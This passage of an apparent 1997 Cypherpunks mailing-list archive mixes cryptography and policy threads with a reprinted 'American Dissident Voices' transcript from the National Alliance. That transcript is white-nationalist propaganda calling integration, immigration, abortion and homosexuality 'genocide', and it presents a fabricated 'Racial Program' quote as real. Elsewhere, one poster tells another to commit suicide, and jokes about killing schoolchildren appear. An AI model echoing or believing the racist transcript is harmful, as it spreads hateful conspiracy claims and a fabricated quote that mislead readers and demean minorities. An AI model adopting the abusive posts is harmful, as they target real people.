This also translates to an increase in freedom of action.


Whether people use this freedom or not, is a seperate issue.


I am also not unaware of the detractions of technology, and how it has
been used to curtail freedom.  It has many other detractions as well.
In fact, I am of the oppinion that we have indeed paid too dear a price 
for such rapidity of technological advancement.  The fire that has been 
stolen from the gods is burning our house down.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From bubba at dev.null  Tue Mar 18 02:51:45 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Tue, 18 Mar 1997 02:51:45 -0800 (PST)
Subject: Prologue
Message-ID: <332E735C.7E7A@dev.null>

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From bubba at dev.null  Tue Mar 18 05:30:19 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Tue, 18 Mar 1997 05:30:19 -0800 (PST)
Subject: Mechanical workings of Enigma
In-Reply-To: <m0w6sih-0007sOC@fwd00.btx.dtag.de>
Message-ID: <332E9654.79E@dev.null>


At ftp://agn-www.informatik.uni-hamburg.de/pub/cryptsim/, there are
 several photos of an Enigma, and simulators for DOS and Windows.







From cynthb at sonetis.com  Tue Mar 18 06:04:04 1997
From: cynthb at sonetis.com (Cynthia H. Brown)
Date: Tue, 18 Mar 1997 06:04:04 -0800 (PST)
Subject: Dead Kids (Oh My!)
In-Reply-To: <332E423E.5A94@sk.sympatico.ca>
Message-ID: <Pine.BSD/.3.91.970318085836.21543A-100000@mrburns.iosphere.net>


On Tue, 18 Mar 1997, Toto wrote:

>   The reason I start drinking in the morning is that, at bar-closing
> time, it's just so damn hard finding a school-bus full of children.

You could shift your attention to late-night ambulances - you'd get double
bonus pity-points ;-)

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb at iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From dlv at bwalk.dm.com  Tue Mar 18 06:17:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:29 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970317203227.007eb400@smtp1.abraxis.com>
Message-ID: <9HHR4D12w165w@bwalk.dm.com>


camcc at abraxis.com (Alec) writes:

> Tim,
>
> There would be more room if your sig weren't so long. :->

Guys with short dicks use long sigs.

> As you know, every year there are a certain number of child deaths as a
> result of reactions to state-mandated innoculations/vaccinations.  Gone too?
>
> Perhaps the difference, or rationale, here is the possible spread of disease
> to others, rather than trying to protect the individual from himself.

Suppose X chooses to innoculate their kids and Y chooses not to innoculate
their kids against, say, polio; and Y's kids get it. They're not going
to give it to someone whose parents chose to innoculate them. (This is
a kind of borderline example, not unlike circumcision.  The individual
affected by the choice is too young to understand what it's all about,
but doesn't want to be stuck with a needle. Why are the parents more
qualified to make decisions for him than the state?)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Tue Mar 18 06:17:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:31 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <v03007801af538e98909a@[207.167.93.63]>
Message-ID: <1ZgR4D11w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:

> At 5:48 PM -0600 3/17/97, Igor Chudov @ home wrote:
> >do you also oppose mandatory liability insurance?
>
> Yes.

In New York State, every motorist is supposed to have $10K insurance as
well as a licence. Of course, a lot of drivers in New York City have
no licences or expired/suspended licences, and no insurance. If you're
injured by an uninsured driver, or someone who fled, or someone with
no assets and a $10K insurance and $500K claim, then your only hope
to recover something is to carry "underinsurance insurance" with your
own insurer. I understand that it's even messier in New Jersey.

It would be much healthier if instead of trying to file a claim
against the other party's insuerer (if it exists :-) you always
filed a claim against your own insuerer and let them figure out
who to sue. The system doesn't work.

> (By the way, Igor, could you make a greater effort to snip out sections of
> posts you are not directly commenting upon?)

Learn to ignore what you're not interested in, Timmy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Tue Mar 18 06:17:40 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 06:17:40 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <Pine.SOL.3.92.970317195749.6045B-100000@cavern.uark.edu>
Message-ID: <3uHR4D13w165w@bwalk.dm.com>


Mac Norton <mnorton at cavern.uark.edu> writes:

>
> On Mon, 17 Mar 1997, Timothy C. May wrote:
>
> > At 5:48 PM -0600 3/17/97, Igor Chudov @ home wrote:
> > >do you also oppose mandatory liability insurance?
> >
> > Yes.
>
> And do you also oppose financial responsibility requirements
> for obtaining the privilege of operating an automobile on
> public roads?
> MacN

Dunno about Akransas (that's where Uark.edu is, ain't it). Your
state is the home state of the muerderer Bill KKKlinton. You should
commit suicide at once.

But in the more civilized states, like New York or California, if
you have an accident and your (good) car is totalled, then one of
these three things will happen:

* The other driver, who's at fault, has fled. You sue your own insurance
company.

* The other driver has minimal insurance and no assets. You sue your
own insurance company (and the other guy).

* You don't carry the appropriate insurance with your own insurance
company and have no chance to recover much.

Things would be much easier for everyone, including the drivers and
the insueres, if the mandatory liability insurance was abolished
and evryone delt with their own insurer - who would then try to
recover damages from the other party if they had assets. The only
people who benefits from the existing system are state bureaucrats.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From Dan.Oelke at rdxsunhost.aud.alcatel.com  Tue Mar 18 08:22:28 1997
From: Dan.Oelke at rdxsunhost.aud.alcatel.com (Daniel R. Oelke)
Date: Tue, 18 Mar 1997 08:22:28 -0800 (PST)
Subject: Dark Fiber Redux
Message-ID: <199703181622.KAA01573@spirit.aud.alcatel.com>



> 
> The implications for cryptography are rather cool. I don't *think*  these
> doped optical amplifiers interfere with so-called quantum cryptography (not
> to be confused with quantum computing, of course). If I remember my SciAm
> back issues, quantum crypto is cool, because if anyone touches the signal
> from Alice to Bob they're detected immediately. Or, is it that the signal
> drops? Can't remember which. Anyway, you need uninterrupted fiber to do QC,
> and that's what you have with optical non-switched amplification, whether
> you're disturbing the photons is another story. Anyone here know for sure?
> I remember discussion about this, but I don't remember the answer.
> 

I am not an expert in the *exact* physics of quantum crypto or of 
optical amplifiers, but I do have a least a college "modern physics"
level of understanding of both.  (and write software for a lot of
fiber optics hardware)

Quantum Crypto depends on the fact that you can't observe
the photons without disturbing them, and that this disturbance
would be detectable at the receiver.  
(i.e. Heisenberg's uncertainty principle at work)

Optical Amplifiers work by receiving a relatively small 
number of photons, and passing them through a device 
where each photon creates in effect a cascade of photons
to be generated thereby amplifying the signal.

Now, this cascade mechanism in itself might be enough "measurement"
to cause problems - but I don't know - and won't persue this
avenue further.

The problem is that while the waveform will be propagated, the
orignal photons won't necessarily make it from one end to the
other.  Without these original photons making the entire 
journey I don't see how the quantum crypto would work.

There are also pratical limitations on the number of optical
amplifiers you can have in a system before having an
electrical regenerator.  Typical numbers are around 5 
amplifiers, eaching going about 80km.  This doesn't 
allow for around the world pure glass communications. ;-(

Dan
--------------------------------------------------------------------------
Dan Oelke - droelke at aud.alcatel.com        Alcatel Telecom, Richardson, TX

There's a Wocket in my Pocket, And a Findow in my Window, 
And a Nook Gase in my Book Case






From declan at pathfinder.com  Tue Mar 18 08:56:09 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Tue, 18 Mar 1997 08:56:09 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970318114803.7094A-100000@cp.pathfinder.com>


*sigh* I'm responding to Vulis...

The short answer, perhaps, is that government should as a general rule
adopt those policies that allow the greatest freedom over the long term.
Private social pressure from families and communities may then develop
into a more powerful force.

-Declan


On Tue, 18 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> > As you know, every year there are a certain number of child deaths as a
> > result of reactions to state-mandated innoculations/vaccinations.  Gone too?
> >
> > Perhaps the difference, or rationale, here is the possible spread of disease
> > to others, rather than trying to protect the individual from himself.
> 
> Suppose X chooses to innoculate their kids and Y chooses not to innoculate
> their kids against, say, polio; and Y's kids get it. They're not going
> to give it to someone whose parents chose to innoculate them. (This is
> a kind of borderline example, not unlike circumcision.  The individual
> affected by the choice is too young to understand what it's all about,
> but doesn't want to be stuck with a needle. Why are the parents more
> qualified to make decisions for him than the state?)
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From tcmay at got.net  Tue Mar 18 09:55:15 1997
From: tcmay at got.net (Timothy C. May)
Date: Tue, 18 Mar 1997 09:55:15 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <v03007800af5488ef3094@[207.167.93.63]>


At 11:54 AM -0500 3/18/97, Declan McCullagh wrote:
>*sigh* I'm responding to Vulis...
>
>The short answer, perhaps, is that government should as a general rule
>adopt those policies that allow the greatest freedom over the long term.
>Private social pressure from families and communities may then develop
>into a more powerful force.
>

Precisely.

One of the ways I look at this (it's a big topic, so there are lots of ways
of looking at it) is that when Big Brother or Big Mommy makes decisions for
people, they tend to lose their ability or desire to make moral choices for
themselves and their families.

As a sort of "Neo-Calvinist" (if you haven't seen my spiel on this, sorry
but I don't have time now...try the archives), I think it profoundly
immoral to take away the choices of others. If one's neighbor is not
allowed to kill himself with drugs and alcohol, he is denied the  ability
to make a choice.

(The issue of alcholics or drug users killing _others_ is of course a
different, and separable, issue. I have nothing against drunk driving laws,
for example.)


--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From blancw at MICROSOFT.com  Tue Mar 18 10:09:41 1997
From: blancw at MICROSOFT.com (Blanc Weber)
Date: Tue, 18 Mar 1997 10:09:41 -0800 (PST)
Subject: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <88CE23A0B727D0118BB000805FD47524010C1FF8@RED-81-MSG.dns.microsoft.com>



From:	Declan McCullagh

	The short answer, perhaps, is that government should as a
general rule
	adopt those policies that allow the greatest freedom over the
long term.
	Private social pressure from families and communities may then
develop
into a more powerful force.
.....................................................


There are limits to what can be accomplished through government.
'Government' is a coercive medium for effecting results; if everything
could be accomplished by coercion, then it would rightly be expected
that everything (everyone) should be always to be subject to coercion in
order to have a smoothly running social machine.

But if everything (all the benefits that people expect from social
arrangements) could be accomplished by coercion, we wouldn't be the kind
of life forms that we are.   We would be the equivalent of "technology",
subject to someone (else's) latest algorithmic program.

Certainly under such an arrangement there would be no need for privacy.

   ..
Blanc






From sara at diacenter.org  Tue Mar 18 10:51:03 1997
From: sara at diacenter.org (List-Owner)
Date: Tue, 18 Mar 1997 10:51:03 -0800 (PST)
Subject: Dia_Press_Release.Donegan_Web_Project
Message-ID: <199703181255.MAA21310@diacenter.org>


Dia Center for the Arts press release 3/12/97   

Cheryl Donegan: Studio Visit



Studio Visit, a work for the world wide web by Cheryl Donegan, will be

launched on March 20, 1997, at http://www.diacenter.org/donegan/. For

Studio Visit, Donegan has put together a visually rich and playful

interface constructed from imagery she has utilized in her studio practice.

Film frames, TV screens, thumb prints, detergent bottles, and Newport

cigarette�s advertising campaign are some of the sources of the motifs she

adopted and recreated for the site. Studio Visit also includes a series of

images of Donegan at work in her studio over the course of a day. Opting

for "low-tech" tricks, she has created an interactive experience from a

combination of gif animations, frames, refreshes, mouse-overs and other

devices inherent to the web.



Donegan�s previous work has encompassed video, painting and performance,

often putting an ironic and irreverent spin on conventions of art practice

and art history. For example, several of her videos portray the artist

executing simple, conceptual performances which result in paintings or

drawings generated by various parts of her body. In Studio Visit, Donegan

has transformed her experimentation with the language of painting into the

medium of the web with wit and humor.



Cheryl Donegan was born in New Haven, Connecticut in 1962, and studied at

the Rhode Island School of Design in Providence and at Hunter College in

New York. Her first one-person show was at the Elizabeth Koury Gallery in

New York in 1993, with more recent solo exhibitions at Basilico Fine Arts

in New York, Galerie Rizzo in Paris, and currently, at the Baumgartner

Gallery in Washington, D.C. She has exhibited widely in group shows in the

United States and Europe. One of her works is currently on view at the

Museum of Modern Art in "Young and Restless," an exhibition of contemporary

video art by young artists working in New York City.



Dia Center for the Arts is a tax-exempt charitable organization.

Established in 1974, the organization has become one of the largest in the

United States dedicated to contemporary art and contemporary culture. In

fulfilling this commitment, Dia sustains diverse programming in poetry,

arts education, and critical discourse and debate via lectures and

symposia.



In addition, it maintains on a long-term basis works of art not easily

accommodated by conventional museums. Dia serves as a conduit for realizing

these projects, as intimated by the Greek word from which it takes its

name. Dia�s long-term projects include Joseph Beuys�s 7000 Oaks; Walter De

Maria�s The Broken Kilometer, The Lightning Field, and The New York Earth

Room; La Monte Young and Marian Zazeela�s Dream House and The Dan Flavin

Art Institute; Cy Twombly Gallery; and the Andy Warhol Museum.



Current programs are supported in part by funds from the National Endowment

for the Arts; the New York State Council on the Arts; and the New York City

Department of Cultural Affairs; The Ministry of Foreign Affairs of the

Federal Republic of Germany through the German Consulate General of New

York; Axe-Houghton Foundation; The Bohen Foundation; The Brown Foundation;

The Cowles Charitable Trust; The Getty Grant Program; The Graham Foundation

for Advanced Studies in the Fine Arts; Lannan Foundation; Robert Lehman

Foundation, Inc.; The Andrew W. Mellon Foundation; Arthur Ross Foundation;

The Juliet Lea Hillman Simonds Foundation; Lila Acheson Wallace Theater

Fund at Community Funds, Inc.; AT&T; Calvin Klein, Inc.; The Chase

Manhattan Bank; Hachette Filipacchi Magazines; Philip Morris Companies

Inc.; Tag Heuer; Wenner Media Inc.; and the individual members of the Dia

Art Council.



For information about this and other Dia programs, please contact Jennie Prebor

at tel: (212) 989-5566, fax: (212) 989-4055, e-mail: jennie at diacenter.org      

Dia Center for the Arts                                                        

542 West 22nd Street, New York, NY                                             

http://www.diacenter.org                                                       

To unsubscribe from this list, please send a message to webmaster at diacenter.org 

with "unsubscribe press list" in the subject.








From shabbir at democracy.net  Tue Mar 18 11:37:17 1997
From: shabbir at democracy.net (Voters Telecommunications Watch)
Date: Tue, 18 Mar 1997 11:37:17 -0800 (PST)
Subject: No Subject
Message-ID: <199703181936.OAA03406@panix3.panix.com>


===========================================================================
     _                                                             _   
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_ 
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_ 
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/  

Bringing democracy to the Internet                 http://democracy.net
Do not circulate after March 25, 1997                    March 18, 1997

___________________________________________________________________________
Table of Contents
        How You Can Participate
        Upcoming Events
        How You Can Participate In The Upcoming Encryption Hearings
        About democracy.net

___________________________________________________________________________
HOW YOU CAN PARTICIPATE

The democracy.net project aims to make citizens a greater part of the
policy process through the use of Internet technology.  For more information
please check our site's "About Us" section at http://democracy.net.

There are two ways you can participate in the policy process.

1. Attend the Senate Pro-CODE hearing Wed., March 19th 2PM EST
Come, listen to the hearing through RealAudio, pose questions to the
Senators, and discuss the legislation with others.

2. Submit your comments to the House Judiciary hearing 
On Thursday March 20th, 9:30AM EST, the House Judiciary committee will
be holding a hearing on the S.A.F.E. bill (H.R.695).  We'll try to
tape it for the site and submit your testimony for the record at the
hearing.

___________________________________________________________________________
UPCOMING EVENTS

March 19, 2PM EST: SENATE COMMERCE COMMITTEE HEARING ON S.377 (PRO-CODE)

  democracy.net has teamed up with the Senate Commerce Committee to
  provide live audio, live photos, a form for you to submit your own
  questions and testimony, and an interactive chat where you can talk
  to policy makers and members of Congress.  To join the event, simply
  go to http://democracy.net and follow the links!

  The following witnesses are scheduled to testify at the hearing.  You can
  learn more about them, read their biographies, and submit your own questions
  to the Senators at http://democracy.net

  Panel 1
    . Hon. Louis Freeh, Director, FBI
    . Mr. William Reinsch, Undersecretary, Bureau of Export Administration,
         US Dept. of Commerce
    . Mr. William P. Crowell, Deputy Director, National Security Agency
    . Hon. David L. Aaron, U.S. Permanent Representative to the Organization
         for Economic Cooperation and Development

  Panel 2
    . Mr. James Barksdale, CEO, Netscape Communications, Inc.
    . Mr. Joseph R. Kretz, Director, Information Technology Security &
         Standards, FMC Corporation
    . Mr. Ed Black, President, Computer and Communications Industry
         Association

March 20, 9:30AM EST: HOUSE JUDICIARY COMMITTEE HEARING ON H.695 (S.A.F.E)

  Although this won't be cybercast live, we'll be bringing you the
  audio of the hearing on the page within the next 24 hours, along with
  copies of testimony presented at the hearing.  You can also be able
  to submit your own testimony for the record.

April 3, 8:30PM EST: Online town hall meeting with Rep. Rick White (R-WA)
April 16, 8:30PM EST: Online town hall meeting with Rep. Anna Eshoo (D-CA)

  At these town hall meetings, moderated by Wired Magazine's
  Cyber-Rights editor Todd Lappin, you'll be able to pose questions to
  the members of Congress, listen to their answers through live audio,
  discuss their answers with other net users, and more!

___________________________________________________________________________
ABOUT DEMOCRACY.NET
        
The democracy.net project is dedicated to exploring ways of enhancing
citizen participation in the democratic process via the Internet. To
this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy
makers.  By participating in these forums, you can make your voice heard
in the process.   You can subscribe to receive democracy.net alerts at
http://democracy.net/

===========================================================================





From advinfo at dreamon.com  Tue Mar 18 12:28:23 1997
From: advinfo at dreamon.com (Adv Info)
Date: Tue, 18 Mar 1997 12:28:23 -0800 (PST)
Subject: ADV Weekly Transcripts
Message-ID: <332EFA54.1280@dreamon.com>


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

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American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

It's Genocide

by Robert Thompson 

Those who listen regularly to this program know that I am steadfastly
opposed to what is called "The New World Order," that is, I am opposed
to the establishment of world government under the United Nations and
other international entities. 

The establishment of world government, which is taking place now and has
been taking place since the War to Impose the New World Order ended in
1945, will mean the end of American freedom. 

We have reached the point where the President of the United States feels
more obligated to obtain United Nations permission for US military
action than he feels obligated to obtain authorization from Congress. 

Since we are so far down this dangerous road, I think it is wise to step
back and look at the ostensible purposes of the United Nations, and how
well its actions stand up to its professed principles. 

One of those professed principles is opposition to genocide, that is,
the attempted destruction of a people. Let us look at the UN definition
of genocide. 

The following quote is from the United Nations "Genocide Convention": 

"Acts Constituting Genocide "Article II "In the present Convention,
genocide means any of the following acts committed with intent to
destroy, in whole or in part, a national, ethnic, racial or religious
group, as such: "(a) Killing members of the group; "(b) Causing serious
bodily or mental harm to members of the group; "(c) Deliberately
inflicting on the group conditions of life calculated to bring about its
physical destruction in whole or in part; "(d) Imposing measures
intended to prevent births within the group; "(e) Forcibly transferring
children of the group to another group." 

Genocide, by the above definition, applies to national groups, including
Americans; and ethnic groups, including people of European descent in
the United States and South Africa; as much as any other groups. It is
my contention that the people of European descent of this world are the
targets of a constant, consistent, systematic, sustained campaign of
genocide, with the intention of humiliating, subjugating, and eventually
eliminating our people. This is being accomplished on two levels: by
means of both overt and covert government coercion; and by means of both
an open psychological warfare campaign and, using sophisticated psywar
techniques, a subliminal psywar campaign. 

Think about racial integration. The laws which formerly protected the
freedom of association of different racial groups, who in all of
recorded history have shown a strong tendency to segregate themselves
and evinced a strong desire to live among their own kind and by their
own values, were all reversed by illegal decrees of a leftist Supreme
Court, until today freedom of association is virtually illegal, except,
so far, in the bedroom. All human societies, and indeed all forms of
higher life on this planet, require an exclusive territory for their
survival. Nations and species both defend their territories, sometimes
unto death, because that truth is graven upon their hearts at a very
deep, instinctual level. It is this inner knowledge of the need for an
exclusive territory that makes us naturally group together along ethnic
lines and makes our young men willing to fight and die to keep our
territory -- our country -- for ourselves. We cannot survive unless we
have a territory exclusively our own. Integration takes that away from
us. 

According to section C of the Genocide Convention, genocide is
"Deliberately inflicting on the group conditions of life calculated to
bring about its physical destruction in whole or in part." One look at
the interracial murder and interracial rape statistics put out by the
FBI is enough for any reasonable person to see that Americans of
European descent have been under a constant physical assault, due in no
small part to the promotion of "integration." And "integration" has
destroyed our criminal justice system; the guilty often go unpunished or
the innocent are persecuted, not on the basis of the evidence, but based
on the racial composition of the jury, which is acknowledged even by the
news media to be one of the most important factors in the outcome of a
trial. 

One particularly horrible consequence of "integration" is the forced
taking of our innocent little children, some of them only five years
old, and bussing them into the Third World war zones that so many of our
cities have become; or bussing the warring gangs into our neighborhoods
-- all in the name of "integration." According to section E of the
Genocide Convention, genocide is defined as "Forcibly transferring
children of the group to another group." Even though decent and
thoughtful members of many races have been against it from the
beginning, our masters are now accelerating a push to promote
interracial adoption as a government policy, opposition to which will be
punishable by law. This also fits the definition of genocide under
section E. 

Section B of the Genocide Convention defines genocide as "Causing
serious bodily or mental harm to members of the group." We have
discussed bodily harm -- what about mental harm? To be healthy, every
child and every adult must have a positive sense of identity. In the
United States, our schools used to teach our children about the positive
contributions of our race, which founded America and Western
Civilization itself. We taught our children to respect the cultures of
other peoples, yes, but also to revere and honor our people's
achievements, from the Iliad to Shakespeare, from Stonehenge to the
transistor to the walk on the moon. And they were acknowledged as OUR
achievements! But under the current regime of Political Correctness it
is considered evil to acknowledge the fact that ours is a European
civilization. Our achievements may not be mentioned in class or textbook
unless in the same breath an African, an Oriental, or a lesbian
Communist is given equal billing, and historical accuracy be damned! The
desire of people to live among their own kind is called "racism," and
guilt for this imagined sin is inculcated among our young people in
almost every book, television program, motion picture or even computer
game that is made available to them. They are told that their ancestors,
who built America and the West, were wrong and that only the
Communist-inspired "civil rights" revolution of the last few decades has
finally set things right. They are spoon-fed a moral outlook on the
world in which anything which tends to the survival and advancement of
White Americans is deemed evil, and everything which tends to our
extinction is deemed good, by definition. This alien morality, which
does no race any good except our self-appointed masters, has grievously
injured two entire generations of our people. It is sick -- it is evil
-- and it is undoubtedly genocide -- "causing serious mental harm to the
members of the group." 

Section D of the Genocide Convention defines genocide as "imposing
measures intended to prevent births within the group." Ask yourself this
question: What has been the demographic result of all the so-called
"feminist" agitation of the last few decades? Has it resulted in a
significant reduction in the numbers of the Third Worlders now crowding
our cities? Are illegal Mexican immigrant women or inner city welfare
mothers now taking up careers and foregoing children until they're
nearly forty? Or is it traditional European-American women who have
decided that there are things more important than the creation and
raising of the next generation of our people? 

We as a people are not even replacing ourselves. We are starting our
families later if at all, and few women have the three children
necessary to maintain our numbers. The promotion of abortion on demand
has also made little dent in the mushrooming population of non-Americans
within our borders, but it has convinced many millions of our own people
that slaying their children in the womb, for no better reason than
personal convenience, is a good and laudable idea. A whole generation
has thus been killed and will never see the light of day -- yet another
reason why the portion of the population of European descent is in
precipitous decline. Other anti-birth policies include the media and
government campaigns to promote and legitimize homosexuality. 

Is there an identifiable power structure within America which is
"imposing measures intended to prevent births within the group"? You bet
there is! 

We have not yet addressed section A of the convention, "killing members
of the group," but when the New World Order boys have succeeded in
disarming us we shall see what their intentions really are in that
regard. 

Also ongoing is a slow war against us now being waged in our inner
cities; and there is also the fact, exposed many times on this program,
that most of the wars of this century have been engineered for the
benefit of the New World Order elitists -- and it is our fathers,
brothers, and sons who do the dying. 

Is multi-racialism genocide? Yes it is. 

Is multi-culturalism genocide? Yes it is. 

Is teaching minorities self esteem while teaching Whites "sensitivity"
genocide? Yes it is. Is diversity indoctrination genocide?
Yes it is. 

Is toleration of illegal immigration genocide? Yes it is. 

Is any non-White immigration, except perhaps for diplomatic and consular
representatives, genocide? Yes it is. 

Do anti-discrimination laws constitute genocide? Yes they do. 

Do "hate crime" laws constitute genocide? Yes they do. 

Does support of convenience abortion constitute genocide? Yes it does. 

Does promotion of homosexuality constitute genocide? Yes it does. 

Is suppression of information on racial differences genocide? Yes it is. 

Is inhibiting research on racial differences genocide? Yes it is. 

Is "affirmative action" genocide? Yes it is. 

Is the subliminal or overt promotion of interracial sex on TV genocide?
Yes it is. 

Does failure to provide equal media time to Whites to further their
cause, constitute genocide? Yes it does. 

Does the undermining of loyalty of White Americans to their own people
constitute genocide? Yes it does. 

Does undermining the sovereignty of our nation and the promotion of
world government constitute genocide? Yes it does. 

It is not necessary to use gas chambers to commit genocide. 

Some of our own people, in order to gain favor with a treacherous and
disloyal elite, find it to their own advantage to sacrifice the
integrity of our country and our people, for money or power. Some of our
people would rather surrender and grovel than fight. As long as they are
able to go along to get along, they pretend to ignore the decay and
collapse of our civilization brought about as a direct result of the
genocidal program being imposed upon us. I believe the day is coming
when they must answer for their treason. If that day does come, and I
believe it will, they will find their answers falling on deaf ears.
"Treason, how be it punished...?" 

Those who promote the New World Order today are the spiritual and in
some cases the physical cousins of those who founded Communism. Though
the overtly Communist attempt at world government foundered on its
economic failures, we make a big mistake if we think that the danger is
passed. 

Those who created Communism in the first place as an instrument for
world control are very much alive, and their evil dream of world
government is now being achieved. They have always been friendly toward
Communism, though they favor its objectives secretly. They use code
words like "restoring democracy" while they impose Communist tyrannies
on South Africa and Haiti. They hate all races, but they especially hate
our race -- for our nations, once awakened, have the potential for
defeating their evil schemes. 

Let us see whether or not the current plan for "integration" matches
Communist objectives. 

England's leading Communist writer in the early part of the twentieth
century had long range plans for the race problem. 

He had this to say in his book, A Racial Program for the 20th Century,
as printed in the Congressional Record for 1957, page 8559: 

"In America, we will aim for a subtle victory. While inflaming the Negro
minority against the whites, we will endeavour to instill in the whites
a guilt complex for their exploitation of the Negroes. We will aid the
Negroes to rise to prominence in every walk of life, in the professions
and in the world of sports and entertainment. With this prestige, the
Negroes will be able to intermarry with the whites and begin a process
which will deliver America to our cause." 

Well, there it is. Straight from the horse's mouth. I want you to pay
particular attention to the statement, and I emphasize: "...we will
endeavour to instill in the whites a guilt complex for their
exploitation of the Negroes." Despite the fall of the Soviet Union, the
Soviet psychological warfare people, with the help of their agents of
influence in the West, have succeeded beyond their wildest dreams. 

Now, I personally believe it is time to undo, by every legal means
possible, the greatest Soviet psychological warfare triumph. In fact it
is the greatest triumph for any psychological warfare campaign ever
waged -- racial "integration" in the United States. Of course the
Communists' powerful allies helped, and these "helpers" are very much
with us today in America. 

In 1928 Communist writer Joseph Pogany was sent to the United States by
Moscow with the mission of implementing the Soviet racial agenda in
America. Writing in the Communist newspaper, The Daily Worker, under the
name of Joseph Schwartz, this Communist laid out his party's program for
the racial destruction of this country. The program was: 

"1. Abolition of the whole system of race discrimination and insure full
racial equality; "2. Insure the Negroes the right to vote; "3. Abolish
all Jim Crow laws and forbid discrimination against Negroes in selling
or renting houses; "4. Abolish all laws forbidding intermarriage of
persons of different races; "5. Assure full integration of public
schools and universities; " 6. The equal admittance of Negroes to
railway stations, waiting rooms, hotels, restaurants and theaters; "7.
Full integration of the Army and Navy; "8. Allow Negroes to join all
labor unions; "9. Equal employment opportunities for Negroes." 

Now, do these measures have a familiar ring to them? Of course they do.
This is what became the American "civil rights" movement. This was the
blueprint. People tell us that "integration" will make us a better and
stronger country. Do you believe that the Soviets would have done
anything to make our country stronger or better? Do you expect me to
believe that? To anyone who was gullible enough to accept all or any
part of this agenda I say this: Lenin had an expression for you. He
would refer to those in the West who consciously or unconsciously served
Soviet interests as his "useful idiots." 

At this point we can expect to hear the whines, the bleats, and the
snivels: "I don't care if we were led by the nose on the race issue by
the Communists, it was right!" If you think that our fractured and
disintegrating society is better even for the Blacks than the strong,
confident, prosperous and peaceful America before the "civil rights"
revolution then you are truly living in a dream world. Forced
"integration" of widely differing peoples never works -- it only
destroys. History abounds with examples. Remember, most of the Third
World people who have been encouraged and allowed to come here are not
America's real enemies. They are only taking advantage of a situation
created by America's enemies. Their culture and survival, too, are in
peril from the New World Order multicultural agenda. America's enemies
are those who created and are pushing that agenda. 

To oppose the genocidal program of the New World Order, we must say some
things that our masters have decided we are not supposed to say. They
want to homogenize us all and destroy all races and nations to fulfil
their dream of world conquest.

To destroy national and racial identity and feelings is their number one
goal -- because such feelings are the major stumbling block in the path
of "one world." Instead of armies, in America our enemies have conquered
us by infiltration of our government and our media -- they have
conquered our minds -- but they have not conquered all of us. Some of us
know that we must oppose the genocide of our people. We know in our
hearts that we are not "haters," and that our struggle for freedom and
independence is not based on a hatred of others or other cultures, for
which we of course should show due respect, but based instead upon a
love for our children, and their children, and the uncounted generations
to come, and on a determination that the light represented by our
Western civilization shall never be extinguished. 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.





From jya at pipeline.com  Tue Mar 18 17:09:18 1997
From: jya at pipeline.com (John Young)
Date: Tue, 18 Mar 1997 17:09:18 -0800 (PST)
Subject: US Spies Vacuum Germany
Message-ID: <1.5.4.32.19970319010152.0082f174@pop.pipeline.com>


This week's Spiegel has a three-page follow-up article on the CIA spy:

